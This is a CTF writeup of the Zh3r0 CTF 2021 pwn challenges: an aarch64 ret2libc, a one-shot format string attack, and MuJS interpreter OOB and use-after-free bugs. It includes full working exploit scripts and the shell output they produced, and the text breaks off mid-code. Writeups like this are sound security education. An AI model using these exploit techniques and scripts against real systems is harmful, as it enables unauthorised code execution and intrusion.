Zh3r0 CTF V2 - All Pwnable Writeups

  • Author: Day and FizzBuzz101
  • Date:

Last weekend, our team played Zh3r0CTF 2021. As the team’s pwn people, we (Day and FizzBuzz101) finished all the tasks and found all of them to be unique and interesting. Here are our writeups for all the pwn challenges.

BabyArmROP (28 solves)

This was basically a ret2libc challenge, but in aarch64. The source was the following:

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <unistd.h>
 4
 5void vuln() {
 6    char name_buffer[0x20];
 7    read(0, name_buffer, 0x1f);
 8    printf("Hello, %s\n; send me your message now: ", name_buffer);
 9    fflush(stdout);
10    read(0, name_buffer, 0x200);
11}
12
13int main() {
14    printf("Enter your name: ");
15    fflush(stdout);
16    vuln();
17    return 0;
18}

There was no canary, but PIE was on. Also, the given qemu usermode binary had working ASLR for emulated binaries, and for some reason, I could not find a way to disable it. Additionally, in qemu usermode, the only debugging option is with -g, which waits for a gdb connection to port upon binary start; though pwndbg’s “vmmap” command can sort of map out memory with auxv and register content exploration, it still does not give us the complete picture for the binary’s PIE addressses for us to break at. Our solution ended up being just to first connect gdb to the emulated process, and then read /proc/<qemu pid>/maps to get the emulated process’s memory mappings from the emulator.

Now, our first goal is to get a PIE leak. Lucky for us, the buffer for name wasn’t zeroed out initially, and there always seemed to be a PIE address in the second qword. With a PIE leak, the rest of the exploit should follow a standard ret2libc procedure, with the only difference being that aarch64 gadgets are really nasty, especially in regards to control flow. Arguments are passed via x0 to x7, the blr instruction stores the return address (instruction + 4) in x30 (link register) before calling the address in the specified register, and the ret instruction returns back to the address stored in the x30 register. Another important thing to notice is how in the end of every function, we have a ldp x29, x30, [sp], #offset; ret;, which basically means load [sp] into x29 (the equivalent of the frame pointer), [sp + 8] into x30, and then add offset to the stack pointer, while at the start, we see a stp x29, x30, [sp, #-offset]!, which means store x29 at [sp+offset], x30 at [sp+offset+8], and then set sp to sp + offset.

In the end, I decided to use the following gadgets in the binary for a libc leak (printf(something@GOT)):

I also found a nice gadget in libc:

We can use the first gadget to load x19 with 0 and x20 with 1 (the reason for this will become clear soon). Load x21 with the got entry for printf, and the same for x22. x23, x24, and x29 don’t matter, and we can set x30 to go the next gadget.

When it goes to the next gadget, it will load x3 with [printf@got + 0 * 8], effectively giving it printf’s address. Since x19 is still 0, the add instruction will effectively increment it, and printf@got from w22 (thankfully even with ASLR on, the addresses still fit within 32 bits) will move into w0, allowing the next blr x3 to be equivalent to printf(printf@got). Then the following comparison will return equal, causing it to not branch and allowing us to control where it returns too. Since stdout is not set to unbuffered mode, we will need a fflush call, and thankfully, main offers that.

After redirecting to main and hitting the vuln function (with libc leak), the libc gadget makes it trivially easy to open a shell with system("/bin/sh").

Here is the final exploit:

 1from pwn import *
 2
 3elf = ELF('./vuln')
 4libc = ELF('./libc.so.6')
 5
 6p = remote('pwn.zh3r0.cf', 1111)
 7
 8def wait():
 9    p.recvrepeat(0.1)
10
11gadget0 = 0x920
12gadget1 = 0x900
13gadget2 = 0x6288c
14
15wait()
16p.send('A' * 0x8)
17p.recvuntil('Hello, ' + 'A' * 0x8)
18temp = u64(p.recv(4).ljust(8, '\x00'))
19elf.address = temp - 0x8a8
20log.info('pie leak: 0x%x' % elf.address)
21wait()
22payload = (
23    p64(elf.address + gadget0) 
24    + 'A' * 8 + p64(elf.address + gadget1) # x29 and x30
25    + p64(0) + p64(1) # make x19 0 and x20 1 (to fix the cmp that comes after the blr x3)
26    + p64(elf.got['printf']) + p64(elf.got['printf']) # set x21 to printf@got, x22 to printf@got
27    + p64(0x1337) + p64(0x1337) # padding
28    + 'A' * 8 + p64(elf.symbols['main'])
29    )
30assert(len('A' * 0x28 + payload) < 0x200)
31p.send('A' * 0x28 + payload)
32leek = u64(p.recv(4).ljust(8, '\x00'))
33libc.address = leek - libc.symbols['printf']
34log.info('libc leak: 0x%x' % libc.address)
35wait()
36p.send('A')
37wait()
38payload = (
39    p64(libc.address + gadget2) 
40    + 'A' * 8 + p64(libc.symbols['system'])
41    + p64(0) + p64(libc.search('/bin/sh').next())
42    )
43p.send('A' * 0x28 + payload)
44p.interactive()

And challenge solved!

[+] Opening connection to pwn.zh3r0.cf on port 1111: Done
[*] pie leak: 0x42175000
[*] libc leak: 0x61b3000
[*] Switching to interactive mode
Hello, A\x841�
; send me your message now: $ cat /vuln/flag
zh3r0{b4by_aaarch64_r0p_f04_fun_4nd_pr0fit}

More Printf (7 solves)

Uh oh, I’m still traumatized by still-printf from hxp ctf 😠. People say heap note is “bad” and “not fun”, but have they seen format string challenges???

Anyways, looking at source:

 1/* gcc -o more-printf -fstack-protector-all more-printf.c */
 2#include <stdint.h>
 3#include <stdio.h>
 4#include <stdlib.h>
 5#include <unistd.h>
 6
 7FILE *fp;
 8char *buffer;
 9uint64_t i = 0x8d9e7e558877;
10
11_Noreturn main() {
12  /* Just to save some of your time */
13  uint64_t *p;
14  p = &p;
15
16  /* Chall */
17  setbuf(stdin, 0);
18  buffer = (char *)malloc(0x20 + 1);
19  fp = fopen("/dev/null", "wb");
20  fgets(buffer, 0x1f, stdin);
21  if (i != 0x8d9e7e558877) {
22    _exit(1337);
23  } else {
24    i = 1337;
25    fprintf(fp, buffer);
26    _exit(1);
27  }
28}

Effectively, our payload must be 0x1e in length, and _exit is called immediately afterwards. There’s also an 8 byte cookie to check if you have ran this already or not. Given the length restriction, good luck getting redirection back to main.

However, do note the existence of a self pointer, and the call chain that will happen from main, or more specially main -> __fprintf -> _vfprintf_internal. With some simple debugging, we know the fmtstr offset for the self pointer will be 5. Most likely, the end goal will be to change the self pointer to where the return pointer is stored for either __fprintf or __vfprintf_internal, and since it is impossible for us to leak anything, we have to one shot it to a one gadget.

In order to oneshot this, there are two very important things we must know about printf. First, when something of the %offset$specifier notation is encountered, the value is cached in args_value in printf_positional so it will not reference the stack upon the next encounter. Second, according to the printf manpages. We see the following statement in regards to field width:

       An optional decimal digit string (with nonzero first digit)
       specifying a minimum field width.  If the converted value has
       fewer characters than the field width, it will be padded with
       spaces on the left (or right, if the left-adjustment flag has
       been given).  Instead of a decimal digit string one may write "*"
       or "*m$" (for some decimal integer m) to specify that the field
       width is given in the next argument, or in the m-th argument,
       respectively, which must be of type int.  A negative field width
       is taken as a '-' flag followed by a positive field width.  In no
       case does a nonexistent or small field width cause truncation of
       a field; if the result of a conversion is wider than the field
       width, the field is expanded to contain the conversion result.

Basically, with the notaion of %*offsetc we can write out the amount of bytes specified in the value at the offset. Looking up the stack, we see that we have __libc_start_main addresses at an offset of 8 in regards to the format string. This means that if we choose to target __vfprintf_internal’s return address (as it’s return address will be into the libc __fprintf, while __fprintf’s return will be into a PIE address), we can actually overwrite it with the low 4 bytes of __libc_start_main and get a return into libc without any leaks. By adding the offset to a one gadget (debugging showed that the one at 0x4f3d5 works), we can one shot to a shell, with the condition that the address of the one_gadget during runtime can be seen as a positive number when its lower 4 bytes is treated as a signed 32 bit integer (otherwise, a final %n won’t write the correct value). While this probability should be 1/2, in practice, it seemed to be worse.

The only thing that remains to be done is in regards to how to modify the self-pointer to point to __vfprintf_internal’s return address. Debugging showed a distance of 0xe8, and since the stack grows downwards and the self-pointer always had the lowest nibble at 0, we must have the self-pointer’s least significant byte be 0xf0. Otherwise, the second byte will also differ, which would drastically lower bound the bruteforce to 1/8192 (we originally had a script like this and ended up breaking the challenge instance because we bruteforced too hard). With the above precondition, this becomes a 4 bit brute (as stack addresses only remain constant in the lowest nibble), lower bounding the overall probability of success to 1/32. I had to use %c to print out contents before reaching the self-pointer in order to allow me to write the tiny value of 0x08 without going past the length restriction.

Here’s the final exploit:

 1from pwn import *
 2
 3elf = ELF('./more-printf')
 4libc = ELF('./libc.so.6')
 5
 6p = remote('pwn.zh3r0.cf', 2222)
 7
 8def wait():
 9    p.recvrepeat(0.1)
10forced_stack_nibble = 0x08
11payload_one = '%c%c%c%' + str(forced_stack_nibble - 3) + 'c%hhn%*8$c%' + str(0x4f3d5 - 0x21bf7-0x8) + 'c%5$n'
12wait()
13p.sendline(payload_one)
14p.interactive()

A shell popped up quite quickly:

[+] Opening connection to pwn.zh3r0.cf on port 2222: Done
%c%c%c%5c%hhn%*8$c%186326c%5$n
30
[*] Switching to interactive mode
$ ls
flag
ld-2.27.so
libc.so.6
more-printf
more-printf.c
run.sh
ynetd
$ cat flag
zh3r0{5aeb93e42479d5ee0795bda6e533df0e}

Javascript for Dummies Part 1 (7 solves)

This was a javascript exploitation challenge based on a lightweight javascript interpreter called MuJS. The implementation we were given for the challenge had new code for ArrayBuffer objects and TypedArray objects - Uint8Array, Uint16Array and Uint32Array.

Vulnerability

The ArrayBuffer code takes a size, checks it is not less than or equal to 0, and then increments it until it is a multiple of four. It uses js_malloc to get enough memory for the size, and then stores the pointer to the memory as the backing store and the length of it in bytes.

When you create any of the TypedArrays using a size, it does a similar thing, however multiplying the size by 2 or 4 in the case of UInt16Array and UInt32Array.

However, creating a TypedArray from an ArrayBuffer is where the vuln is. In Uint16Arrays,

 1oid js_newUint16Array(js_State *J) 
 2{
 3    int top = js_gettop(J);
 4    size_t size;
 5    if(top != 2) {
 6        js_typeerror(J, "Expecting Size");    
 7    }
 8    if(js_isobject(J, 1)) {
 9        js_Object* j = js_toobject(J, 1);
10        if(j->type != JS_CARRAYBUFFER) {
11            js_typeerror(J, "Require ArrayBuffer as Object");
12        } else {
13            js_Object* this = jsV_newobject(J, JS_CUINT16ARRAY, J->Uint16Array_prototype);
14            this->u.ta.mem = j->u.ab.backingStore;
15            this->u.ta.length = j->u.ab.byteLength;
16            js_pushobject(J,this);
17            return ;
18        }
19    } else {
20        size = js_tonumber(J, 1);
21        if(size <= 0 && size > UINT32_MAX) {
22            js_typeerror(J, "Invalid Length");
23        }
24        js_Object *this = jsV_newobject(J, JS_CUINT16ARRAY, J->Uint16Array_prototype);
25        this->u.ta.mem = js_malloc(J, (size * sizeof(uint16_t)));
26        memset((void*)this->u.ta.mem,0,size);
27        this->u.ta.length = size;
28        js_pushobject(J, this);
29    }
30}

Mainly, the vuln is in this block

 1 if(js_isobject(J, 1)) {
 2        js_Object* j = js_toobject(J, 1);
 3        if(j->type != JS_CARRAYBUFFER) {
 4            js_typeerror(J, "Require ArrayBuffer as Object");
 5        } else {
 6            js_Object* this = jsV_newobject(J, JS_CUINT16ARRAY, J->Uint16Array_prototype);
 7            this->u.ta.mem = j->u.ab.backingStore;
 8            this->u.ta.length = j->u.ab.byteLength;
 9            js_pushobject(J,this);
10            return ;
11        }
12    }

When creating a Uint16Array from an ArrayBuffer, the byte length of the buffer is copied to the length of the typed array. This is bad, because a length in bytes is different to a length in uint16s. A uint16 array of length 2 is really 4 bytes, so by doing this->u.ta.length = j->u.ab.byteLength; it gives the user access to twice as much data as they should be able to. This gives OOB.

TypedArrays have a fill method which fills the array with a given number, an Includes method which finds the first index of which a number is in the array, and a set method that sets a value in the array.

Background on MuJS

This challenge runs the mujs binary with libjemalloc on LD_PRELOAD. jemalloc is a slab like allocator, meaning that allocations of the same size are adjacent to each other. All objects in mujs are 0x68 in size, so if we make a buffer with a backing store of similar size then our buffer will be in the same slab as objects.

 1enum js_Class {
 2	JS_COBJECT,
 3	JS_CARRAY,
 4	JS_CFUNCTION,
 5	JS_CSCRIPT, /* function created from global/eval code */
 6	JS_CCFUNCTION, /* built-in function */
 7	JS_CERROR,
 8	JS_CBOOLEAN,
 9	JS_CNUMBER,
10	JS_CSTRING,
11	JS_CREGEXP,
12	JS_CDATE,
13	JS_CMATH,
14	JS_CJSON,
15	JS_CARGUMENTS,
16	JS_CITERATOR,
17	JS_CUSERDATA,
18	JS_CUINT8ARRAY,
19	JS_CUINT16ARRAY,
20	JS_CUINT32ARRAY,
21	
22	JS_CARRAYBUFFER
23};
24struct js_ArrayBuffer
25{
26	uint8_t *backingStore;
27	size_t byteLength;
28};
29
30struct js_TypedArray
31{
32	uint8_t* mem;
33	size_t length;
34	uint8_t type;
35};
36struct js_Object
37{
38	enum js_Class type;
39	int extensible;
40	js_Property *properties;
41	int count; /* number of properties, for array sparseness check */
42	js_Object *prototype;
43	union {
44		int boolean;
45		double number;
46		struct {
47			const char *string;
48			int length;
49		} s;
50		struct {
51			int length;
52		} a;
53		struct {
54			js_Function *function;
55			js_Environment *scope;
56		} f;
57		struct {
58			const char *name;
59			js_CFunction function;
60			js_CFunction constructor;
61			int length;
62		} c;
63		js_Regexp r;
64		struct {
65			js_Object *target;
66			js_Iterator *head;
67		} iter;
68		struct {
69			const char *tag;
70			void *data;
71			js_HasProperty has;
72			js_Put put;
73			js_Delete delete;
74			js_Finalize finalize;
75		} user;
76		js_ArrayBuffer ab;
77		js_TypedArray ta;
78	} u;
79	js_Object *gcnext; /* allocation list */
80	js_Object *gcroot; /* scan list */
81	int gcmark;
82};

Leaking

We can use the OOB to change the type field of an adjacent object. The easiest thing to do is change the type of a TypedArray to JS_CNUMBER. This means that the mem field of the js_TypedArray struct is confused with a double, since they would be in the same position in the union. The prototype of the object will be different to that than of the Number object, so we will have to manually add the functions to its properties. The functions will succeed because the type checks will pass.

1buf = new ArrayBuffer(0x64) // 0x64, is in the same area as js objects
2arr = new Uint16Array(buf)
3buf2 = new ArrayBuffer(0x64)
4second_arr = new Uint16Array(buf)
5// 100 byte bof, enough to break into the TypedArray arr from buf
6// From there we can change arr into any object we please.
7// Change into numebr to leak heap address, as the number value gets confused with buffer address
8arr.set(56,7)
9arr.valueOf = Number.prototype.valueOf

There’s no float arrays, so it is difficult to convert between floats and integers. However, I found an old code snippet that is capable of doing so. https://stackoverflow.com/questions/25942516/double-to-byte-array-conversion-in-javascript

Using this, we can convert the memory address stored in a TypedArray from a double and leak a heap address. This is invaluable.

So, I used this oob to switch a Uint16Array into a Number for leaking. I then used second_arr to switch it back to a TypedArray, but this time a Uint32Array instead. This multiplied the amount of oob by 3.

Now, it is possible to change the length field of the TypedArray to a larger number for potentially unlimited overflow.

Gaining Primitives

Next is getting arbitrary read. We can accomplish this by manipulating a string object.

 1buf = new ArrayBuffer(97) // 0x61, is in the same area as js objects
 2arr = new Uint16Array(buf)
 3buf2 = new ArrayBuffer(97)
 4controlstring = new String("pwn")
 5second_arr = new Uint16Array(buf)
 6// 97 byte bof, enough to break into the TypedArray arr from buf
 7// From there we can change arr into any object we please.
 8// Change into numebr to leak heap address, as the number value gets confused with buffer address
 9arr.set(56,7)
10arr.valueOf = Number.prototype.valueOf
11jrs = new JRS()
12// arr is a number - leak heap address
13heap_ptr = parseInt(jrs.doubleToHexString(arr.valueOf(),64),16)
14second_arr.set(56,0x12)
15// arr is now Uint32Array
16arr.set = Uint32Array.prototype.set
17arr.set(38,1000)

In a string object, there are two fields - a pointer to the null-terminated string data, and the length of the string. By overwriting this pointer to a given address, data can be arbitrarily read via reading characters from the string. However, due to WTF encoding, MuJS won’t let us read non-ascii bytes from a string. This is fixed by calling encodeURI on the string, which URL encodes the bytes. I made a custom function to read a number from a string by URI encoding it. For example, “\xd0\x41\xa0” would become “%D0A%A0”

 1function set64(idx, number){ // Write 64 bit number
 2    hex = number.toString(16)
 3    hex = '0'*(16 - hex.length) + hex
 4    lower = parseInt(hex.slice(-8),16)
 5    higher = parseInt(hex.slice(0,-8),16)
 6    arr.set(idx, lower)
 7    arr.set(idx + 1, higher)
 8}
 9function readptr(s){
10    out = ""
11    // Reads ptr from string
12    encoded = encodeURI(s)
13    i = 0;
14    while(i < encoded.length){
15        if(encoded[i] == "%"){
16            // Non ascii
17            out = encoded.slice(i+1,i+3) + out
18            i += 3
19        }
20        else{
21            // Ascii
22            out = encoded.charCodeAt(i).toString(16) + out
23            i += 1
24        }
25    }
26    return parseInt(out,16)
27}

Here is how our slab would look(offsets from backing store from buf where our oob is)

-0x70 - buf ArrayBuffer
0x0 - backing store for buf
0x70 - arr Uint16Array
0xe0 - buf2 ArrayBuffer
0x150 - backing store for buf2
0x1c0 - controlstring

Before the union of object data, there is 32 bytes. This means that the offset between the backing store for buf and the pointer in controlstring is 0x1c0 + 0x20 = 0x1e0 bytes. 0x1e0 / 4 gives an index in uint32array of 120. This allows us to build a function for arbitrary read.

1function read(addr){
2    set64(120, addr) // set controlstring address to addr
3    return readptr(controlstring)
4}

Final Exploitation

After gaining arbitrary read, leaking binary and libc is easier. In MuJS, object properties are stored in a tree. Objects have a properties field that points to one of its properties. Each property works like so

 1struct js_Property
 2{
 3	const char *name;
 4	js_Property *left, *right;
 5	int level;
 6	int atts;
 7	js_Value value;
 8	js_Object *getter;
 9	js_Object *setter;
10};

It contains a pointer to its name, and pointers to the properties “left” and “right” of it, as well as different metadata and the pointer to the property as a js_value. The leaves of this tree - the edges, such as the left of the first property and the right of the last one - are always a property structure called the sentinel. The sentinel is stored inside the binary, giving a leak to the code base. When an object has no properties, its properties pointer is just to the sentinel.

This allows us to leak easily, given we have a heap leak. arr has properties since we had to manually add functions, however buf2 has no properties. The properties field is 8 bytes after the beginning of an object, so reading 0xe8 bytes after the heap leak we got(which gives the address of our oob buffer) will leak the sentinel, which can be offsetted to leak the code base.

Afterwards, we can use the Global Offset Table(GOT) given our arbitrary read to leak a heap address. memset causes local vs remote problems, so I used fopen.

1// Leak sentinel property to get binary base
2binarybase = read(heap_ptr + 0xe8) - 0x460a0
3print("Binary Base: 0x" + binarybase.toString(16))
4// Use GOT to leak libc(I did fopen)
5libcbase = read(binarybase + 0x45f58) - 0x85a90

After this, the only question is how to pop a shell. There are various methods, I took advantage of the userdata structure. In MuJS, the userdata objects are ways of representing arbitrary data from C in mujs, which can be manipulated through the C api. Because of this, userdata objects have a little more control. I learned from this writeup that when trying to add a property to a user data object, obj.u.user.put(J, obj->u.user.data, name) is called. the u.user structure in objects looks like this

1struct {
2			const char *tag;
3			void *data;
4			js_HasProperty has;
5			js_Put put;
6			js_Delete delete;
7			js_Finalize finalize;
8		} user;

The OOB control we have now gained can be used to change a pre-existing object into a custom userdata object we have complete control over. This can give us arbitrary code execution, however limited in arguments.

However, I ran one_gadget on the libc, and found a useful gadget at 0xe6e79 that required

rsi == NULL || [rsi] == NULL
rdx == NULL || [rdx] == NULL

This ignores rdi, so the fact that obj.u.user.put will be called with J(the environment currently being worked in) as the first argument was fine. With control over the object fields, the data pointer can be set to a null pointer, satisfying the check for rsi. name would be a pointer to the string representing the property that should be added - meaning, we had to make sure this pointer was a pointer to NULL. I was able to do this by trying to set a property that was just empty string, such as obj[""] = 0xdeadbeef. Due to null turmination, this would ensure [rdx] == NULL.

So, the exploit steps

The connect.py script which handles the server closes stdout and stderr before running mujs on our exploit script. This can be bypassed by reopening stdout with exec 1>&0, from which commands can be run to read the flag file and get the flag

Full Exploit

  1JRS = function(){
  2    function numberToBinString(number, binStringLength) {
  3        var A = [], T = null; // number>=0
  4        while (binStringLength--) {
  5            T = number % 2;
  6            A[binStringLength] = T;
  7            number -= T;
  8            number /= 2;
  9        }
 10        return A.join("");
 11    }
 12
 13    function HexFn(fourBitsBinString) {
 14        return parseInt(fourBitsBinString, 2).toString(16);
 15    }
 16
 17    function binStringToHexString(binString) {
 18        return binString.replace(/(\d{4})/g, HexFn );
 19    }
 20
 21    function hexStringToBinString(hexString) {
 22        var binString = "";
 23
 24        for(var i=0; i< hexString.length-1; i+=2) {
 25            binString += numberToBinString(parseInt(hexString.substr(i, 2), 16), 8);
 26        }
 27
 28        return binString;    
 29    }
 30
 31    function SngFwd(Sg, Ex, Mt) {
 32        var B = {};
 33        Mt = Math.pow(2, 23) * Mt + 0.5; // round
 34        B.a = 0xFF & Mt;
 35        B.b = 0xFF & (Mt >> 8);
 36        B.c = 0x7F & (Mt >> 16) | (Ex & 1) << 7;
 37        B.d = Sg << 7 | (Ex >> 1);
 38        return B;
 39    }
 40
 41    function DblFwd(Sg, Ex, Mt) {
 42        var B = {};
 43        Mt = Math.pow(2, 52) * Mt;
 44        B.a = 0xFFFF & Mt;
 45        B.b = 0xFFFF & (Mt >> 16);
 46        Mt /= Math.pow(2, 32); // Integers are only 32-bit
 47        B.c = 0xFFFF & Mt;
 48        B.d = Sg << 15 | Ex << 4 | 0x000F & (Mt >> 16);
 49        return B;
 50    }
 51
 52    function CVTFWD(NumW, Qty) { // Function now without side-effects
 53        var Sign = null, Expo = null, Mant = null, Bin = null, nb01 = ""; // , OutW = NumW/4
 54        var Inf = {
 55            32 : {d: 0x7F, c: 0x80, b: 0, a : 0},
 56            64 : {d: 0x7FF0, c: 0, b: 0, a : 0}
 57        };
 58        var ExW = {32: 8, 64: 11}[NumW], MtW = NumW - ExW - 1;
 59
 60        if (isNaN(Qty)) {
 61            Bin = Inf[NumW];
 62            Bin.a = 1;
 63            Sign = false;
 64            Expo = Math.pow(2, ExW) - 1;
 65            Mant = Math.pow(2, -MtW);
 66        }
 67
 68        if (!Bin) {
 69            Sign = Qty < 0 || 1 / Qty < 0; // OK for +-0
 70            if (!isFinite(Qty)) {
 71                Bin = Inf[NumW];
 72                if (Sign)
 73                    Bin.d += 1 << (NumW / 4 - 1);
 74                Expo = Math.pow(2, ExW) - 1;
 75                Mant = 0;
 76            }
 77        }
 78
 79        if (!Bin) {
 80            Expo = {32: 127, 64: 1023}[NumW];
 81            Mant = Math.abs(Qty);
 82            while (Mant >= 2) {
 83                Expo++;
 84                Mant /= 2;
 85            }
 86            while (Mant < 1 && Expo > 0) {
 87                Expo--;
 88                Mant *= 2;
 89            }
 90            if (Expo <= 0) {
 91                Mant /= 2;
 92                nb01 = "Zero or Denormal";
 93            }
 94            if (NumW == 32 && Expo > 254) {
 95                nb01 = "Too big for Single";
 96                Bin = {
 97                    d : Sign ? 0xFF : 0x7F,
 98                    c : 0x80,
 99                    b : 0,
100                    a : 0
101                };
102                Expo = Math.pow(2, ExW) - 1;
103                Mant = 0;
104            }
105        }
106
107        if (!Bin)
108            Bin = {32: SngFwd, 64: DblFwd}[NumW](Sign, Expo, Mant);
109
110        Bin.sgn = +Sign;
111        Bin.exp = numberToBinString(Expo, ExW);
112        Mant = (Mant % 1) * Math.pow(2, MtW);
113        if (NumW == 32)
114            Mant = Math.floor(Mant + 0.5);
115        Bin.mnt = numberToBinString(Mant, MtW);
116        Bin.nb01 = nb01;
117        return Bin;
118    }
119
120    function CVTREV(BinStr) {
121        var ExW = {32: 8,64: 11}[BinStr.length];
122        var M = BinStr.match(new RegExp("^(.)(.{" + ExW + "})(.*)$"));
123        // M1 sign, M2 exponent, M3 mantissa
124
125        var Sign = M[1] == "1" ? -1 : +1;
126
127        if (!/0/.test(M[2])) { // NaN or Inf
128            var X = /1/.test(M[3]) ? NaN : Sign / 0;
129            throw new Error("Max Coded " + M[3] + " " + X.toString());
130        }
131
132        var Denorm = +M[2] == 0;
133        if (Denorm) {
134            console.log("Zero or Denormal");
135        }
136
137        var Expo = parseInt(M[2], 2) - Math.pow(2, ExW - 1) + 1;
138        var Mant = parseInt(M[3], 2) / Math.pow(2, M[3].length) + !Denorm;
139        return Sign * Mant * Math.pow(2, Expo + Denorm);
140    }
141
142    this.doubleToHexString = function( /* double */d, /* int */size) {
143        var NumW = size;
144        var Qty = d;
145        with (CVTFWD(NumW, Qty)) {
146            return binStringToHexString(sgn + exp + mnt);
147        }
148    };
149
150    this.hexStringToDouble = function (/*String*/hexString, /*int*/size) {
151        var NumW = size ;
152        var binString = hexStringToBinString(hexString) ;
153        var X = new RegExp("^[01]{" + NumW + "}$");
154        if (!X.test(binString)) {
155            alert(NumW + " bits 0/1 needed");
156            return;
157        }
158        return CVTREV(binString);
159    };
160};
161buf = new ArrayBuffer(97) // 0x61, is in the same area as js objects
162arr = new Uint16Array(buf)
163buf2 = new ArrayBuffer(97)
164controlstring = new String("pwn")
165second_arr = new Uint16Array(buf)
166// 97 byte bof, enough to break into the TypedArray arr from buf
167// From there we can change arr into any object we please.
168// Change into number to leak heap address, as the number value gets confused with buffer address
169arr.set(56,7)
170arr.valueOf = Number.prototype.valueOf
171jrs = new JRS()
172// arr is a number - leak heap address
173heap_ptr = parseInt(jrs.doubleToHexString(arr.valueOf(),64),16)
174second_arr.set(56,0x12)
175// arr is now Uint32Array
176arr.set = Uint32Array.prototype.set
177arr.set(38,1000)
178arr.set(0,0xdeadbeef)
179// controlstring can now be controlled for arb read
180function set64(idx, number){ // Write 64 bit number
181    hex = number.toString(16)
182    hex = '0'*(16 - hex.length) + hex
183    lower = parseInt(hex.slice(-8),16)
184    higher = parseInt(hex.slice(0,-8),16)
185    arr.set(idx, lower)
186    arr.set(idx + 1, higher)
187}
188function readptr(s){
189    out = ""
190    // Reads ptr from string
191    encoded = encodeURI(s)
192    i = 0;
193    while(i < encoded.length){
194        if(encoded[i] == "%"){
195            // Non ascii
196            out = encoded.slice(i+1,i+3) + out
197            i += 3
198        }
199        else{
200            // Ascii
201            out = encoded.charCodeAt(i).toString(16) + out
202            i += 1
203        }
204    }
205    return parseInt(out,16)
206}
207
208function read(addr){
209    set64(120, addr) // set controlstring address to addr
210    return readptr(controlstring)
211}
212// Leak sentinel property to get binary base
213binarybase = read(heap_ptr + 0xe8) - 0x460a0
214print("Binary Base: 0x" + binarybase.toString(16))
215// Use GOT to leak libc(I did fopen)
216libcbase = read(binarybase + 0x45f58) - 0x85a90
217print("Libc Base: 0x" + libcbase.toString(16))
218print("One gadget: 0x" + (libcbase + 0xe6e79).toString(16))
219// Change buf2 into userdata
220set64(56,0x000000010000000f) // set type to userdata
221set64(64,0) // tag
222set64(66,0) // data
223set64(70,libcbase + 0xe6e79) // change put to one gadget
224// obj->u.user.put(J, obj->u.user.data, name)
225// one gadget requires rsi to be 0 or a pointer to 0 and rdx to be 0 or a pointer to 0
226// Setting obj->u.user.data to 0 fixes that for rsi, to fix rdx we make the attribute that we try to set be empty string
227buf2[""] = 0

Running on remote gives us a flag!

exec 1>&0
ls
connect.py
flag_ea9cb51550cf5f04aa29dd5fbf71593a
libjemalloc.so.2
mujs
run.sh
start.sh
ynetd
cat flag_ea9cb51550cf5f04aa29dd5fbf71593a
zh3r0{9107cb3f05e7b5d1c7a149f38c8ff4a0}

Javascript for Dummies Part 2 (6 solves)

Vulnerability

Now, only the UInt32Array remains, and the TypedArray struct no longer has the type field.

1struct js_TypedArray
2{
3    uint8_t* mem;
4    size_t length;
5};

In addition to .fill, .set, and .Includes, we also have .at, .get, .find, and .reverse. Due to the adjustment in available objects, the enums for js_Class had to change as well:

 1enum js_Class {
 2    JS_COBJECT,
 3    JS_CARRAY,
 4    JS_CFUNCTION,
 5    JS_CSCRIPT, /* function created from global/eval code */
 6    JS_CCFUNCTION, /* built-in function */
 7    JS_CERROR,
 8    JS_CBOOLEAN,
 9    JS_CNUMBER,
10    JS_CSTRING,
11    JS_CREGEXP,
12    JS_CDATE,
13    JS_CMATH,
14    JS_CJSON,
15    JS_CARGUMENTS,
16    JS_CITERATOR,
17    JS_CUSERDATA,
18    JS_CUINT32ARRAY,
19    JS_CARRAYBUFFER
20};

Also, when running a diff, we noticed that jsgc.c has implemented functionality for garbage collection UInt32Arrays.

 1static void jsG_freeobject(js_State *J, js_Object *obj)
 2{
 3    if (obj->properties->level)
 4        jsG_freeproperty(J, obj->properties);
 5    if (obj->type == JS_CREGEXP) {
 6        js_free(J, obj->u.r.source);
 7        js_regfreex(J->alloc, J->actx, obj->u.r.prog);
 8    }
 9    if (obj->type == JS_CITERATOR)
10        jsG_freeiterator(J, obj->u.iter.head);
11    if (obj->type == JS_CUSERDATA && obj->u.user.finalize)
12        obj->u.user.finalize(J, obj->u.user.data);
13    if( obj->type == JS_CUINT32ARRAY ) {
14        js_free(J, (void*)obj->u.ta.mem);
15    }
16    js_free(J, obj);
17}

Note how you can create UInt32Array from ArrayBuffer, and they will share the same buffer pointer. This leads to a UAF when garbage collection happens and frees UInt32Array’s buffer, while active ArrayBuffers still have their backing pointer there.

Reading MuJS documentation, we note that it’s garbage collector is a mark and sweep style garbage collector. This means reachable objects are marked, and then unreachable ones will be swept (freed). People usually trigger gc in Chromium v8 exploits with the following:

1function gc() 
2{
3    for (let i = 0; i < 100; i++)
4    {
5        new ArrayBuffer(0x100000);
6    }
7}

With this as our basis, we pretty quickly managed to get the interpreter to hit piebase+0x7a10, which is where the js_gc function runs, with the following:

1function gc(a, b)
2{
3    for (i = 0; i < a; i++)
4    {
5        c = new Uint32Array(b);
6    }
7}
8
9gc(10000, 2)

The following should trigger a rudimentary double free now:

 1function gc(a, b, buf)
 2{
 3    c = new Uint32Array(buf);
 4    for (i = 0; i < a; i++)
 5    {
 6        c = new Uint32Array(b);
 7    }
 8}
 9
10buf = new ArrayBuffer(2);
11gc(10000, 2, buf);
12gc(10000, 2, buf);

When preloaded to use the glibc allocator, we see an obvious abort from a double free check. However, that does not happen with jemalloc, which would actually make exploitation easier as it is not as harsh with checks for at least this part.

Exploitation

Our exploitation plan should be the following: Create an ArrayBuffer, and trigger the gc to free a UInt32Array constructed with the same buffer to get a dangling UAF. Then, like any allocator, we can keep re-allocating until we have an overlap of our buffer over a UInt32Array object. An overlap is quite easy to detect thanks to how ArrayBuffer memsets its buffer to 0 upon initialization:

 1void js_newArrayBuffer(js_State* J) 
 2{
 3    int top = js_gettop(J);
 4    size_t size;
 5    if(top != 2) {
 6        js_typeerror(
 7            J,
 8            "Expecting Byte length"
 9        );
10    }
11    size = js_tonumber(J, 1);
12    if(size <= 0) {
13        js_typeerror(
14            J,
15            "Invalid byte length"
16        );
17    }
18    while((size%4)) {
19        size += 1;
20    }
21    js_Object* this = jsV_newobject(J, JS_CARRAYBUFFER, J->ArrayBuffer_prototype);
22    this->u.ab.backingStore = js_malloc(J, (size));
23    memset((void*)this->u.ab.backingStore, 0, size);
24    this->u.ab.byteLength = size;
25    js_pushobject(J, this);
26}

The following code should get us overlap:

 1function gc(a, b, buf)
 2{
 3    for (i = 0; i < a; i++)
 4    {
